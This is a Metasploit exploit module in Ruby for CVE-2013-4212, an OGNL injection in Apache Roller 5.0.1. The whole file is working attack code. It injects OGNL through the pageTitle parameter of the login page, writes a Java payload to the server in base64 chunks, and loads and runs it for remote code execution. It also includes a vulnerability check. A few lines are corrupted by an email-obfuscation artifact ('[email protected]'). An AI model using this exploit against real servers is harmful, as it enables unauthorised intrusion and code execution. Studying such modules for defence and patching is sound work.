Apache Roller OGNL Injection

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Roller OGNL Injection',  
'Description' => %q{  
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The  
vulnerability is due to an OGNL injection on the UIAction controller because of an  
insecure usage of the ActionSupport.getText method. This module has been tested  
successfully on Apache Roller 5.0.1 on Ubuntu 10.04.  
},  
'Author' =>  
[  
'Unknown', # From coverity.com / Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-4212'],  
[ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']  
],  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Privileged' => true,  
'Targets' =>  
[  
[ 'Apache Roller 5.0.1', { } ]  
],  
'DisclosureDate' => 'Oct 31 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])  
], self.class)  
end  
  
def execute_command(cmd)  
injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"  
injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))  
  
vprint_status("Attempting to execute: #{cmd}")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),  
'encode_params' => false,  
'vars_get' =>  
{  
'pageTitle' => injection  
}  
})  
end  
  
def java_upload_part(part, filename, append = 'false')  
cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"  
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"  
cmd << "#f.close(),#a='#{@random_suffix}'"  
execute_command(cmd)  
end  
  
def exploit  
  
print_status("Checking injection...")  
  
if check == Exploit::CheckCode::Vulnerable  
print_good("Target looks vulnerable, exploiting...")  
else  
print_warning("Target not found as vulnerable, trying anyway...")  
end  
  
@random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution  
@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"  
append = 'false'  
jar = payload.encoded_jar.pack  
  
File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end  
  
chunk_length = 384 # 512 bytes when base64 encoded  
  
parts = jar.chars.each_slice(chunk_length).map(&:join)  
parts.each do |part|  
java_upload_part(part, @payload_exe, append)  
append = 'true'  
end  
  
register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}")  
  
cmd = ""  
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1  
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"  
cmd << "#q.setAccessible(true),#q.set(null,true),"  
cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"  
cmd << "#q.setAccessible(true),#q.set(null,false),"  
# create classloader  
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}',"  
# load class  
cmd << "#c=#cl.loadClass('metasploit.Payload'),"  
# invoke main method  
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("  
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"  
execute_command(cmd)  
end  
  
def check  
addend_one = rand_text_numeric(rand(3) + 1).to_i  
addend_two = rand_text_numeric(rand(3) + 1).to_i  
sum = addend_one + addend_two  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),  
'vars_get' =>  
{  
'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",  
}  
})  
  
if res and res.code == 200 and res.body =~ /#{sum}/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
end  
`